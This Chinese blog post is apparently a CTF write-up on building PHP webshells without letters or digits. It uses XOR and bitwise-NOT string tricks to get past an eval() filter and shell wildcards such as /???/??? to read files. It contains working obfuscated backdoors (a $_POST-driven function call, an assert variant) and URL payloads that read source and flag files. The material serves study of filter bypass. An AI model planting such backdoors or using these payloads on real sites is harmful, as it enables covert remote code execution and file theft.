本篇博客介绍了构造无字母数字webshell的一些方法!

一道有意思的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

分析代码可知只要执行getFlag()函数应该就可以得到flag了

但对code的长度限制<40,并且code不能有数字和大小写字母

方式1(异或运算)

先解释下异或运算

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

举个例子:

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是01111110,对应的ASCII值是126,对应的字符串的值就是~了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

1
2
3
4
5
6
7
8
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>

我们一起来分析一下上面这段代码:

$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

$__="?" ^ "}";对字符”?”和”}”进行异或运算,得到结果B赋给变量名为”__”(两个下划线)的变量

$ __ ();通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。

下面是个非常简单的非数字字母的PHP后门:

1
2
3
4
5
6
7
8
9
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

_POST的拼接可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
或者
$__="#./|{"^"|~`//";

注意#的url编码,否则会相当于注释

同样_GET也可以这样拼接

$__="`{{{"^"?<>/"

按照这种方法,可得payload

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

?code=$_='[[]|@[['^'<>):,:<';$_();    //$_='getFlag'


?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

相当于 $啊=getFlag;$啊();

这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊

方式2(取反运算)

主要原理:

利用的是UTF-8编码的某个汉字,将其中某个字符取出来取反

比如"和"[2]的结果是"\x8c",其取反即为字母s

1
2
3
4
5
6
>>> print("和".encode('utf8'))
b'\xe5\x92\x8c'
>>> print("和".encode('utf8')[2])
140
>>> print(~"和".encode('utf8')[2])
-141

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$__=('>'>'<')+('>'>'<'); //$__=2
$_=$__/$__; //$_=1

$____='';
$___="瞰";
$____.=~($___{$_}); //$____='a'
$___="和";
$____.=~($___{$__});
$___="和";
$____.=~($___{$__}); //$____='as'
$___="的";
$____.=~($___{$_}); //$____='ass'
$___="半";
$____.=~($___{$_}); //$____='asse'
$___="始";
$____.=~($___{$__}); //$____='assert'

$_____='_';
$___="俯";
$_____.=~($___{$__}); //$_____='_P'
$___="瞰";
$_____.=~($___{$__}); //$_____='_PO'
$___="次";
$_____.=~($___{$_}); //$_____='_POS'
$___="站";
$_____.=~($___{$_}); //$_____='_POST'

$_=$$_____; //$_=$_POST
$____($_[$__]);

这里也有一种简短的写法${~"\xa0\xb8\xba\xab"}它等于$_GET。这里相当于直接把utf8编码的某个字节提取出来统一进行取反。

那麽利用这种方式可得payload

?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); //%_为getFlag取反然后URL编码得结果
或

?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

拼接出了 $_GET‘+’;,传入 +=getFlag() 从而执行了函数

注意点:

php5和php7是有区别的

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

升级版

升级版增加了对_$的过滤,但还是有方法绕过的

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

解题方法

这道题刚好是在linux系统上,并且开启了短标签

在linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:

???/??? => /bin/cat

PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量
于是读源码:

$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

长度超出上限,使用通配:

$_=/???/???%20/???/???/????/;?><?=$_?>

正则过滤了$和_,改进为:

?><?=`/???/???%20/???/???/????/*`?>

可以读到:

1
2
3
4
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}

直接读flag文件

?><?=`/???/???%20/????`;?>

参考:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html?page=2#reply-list

评论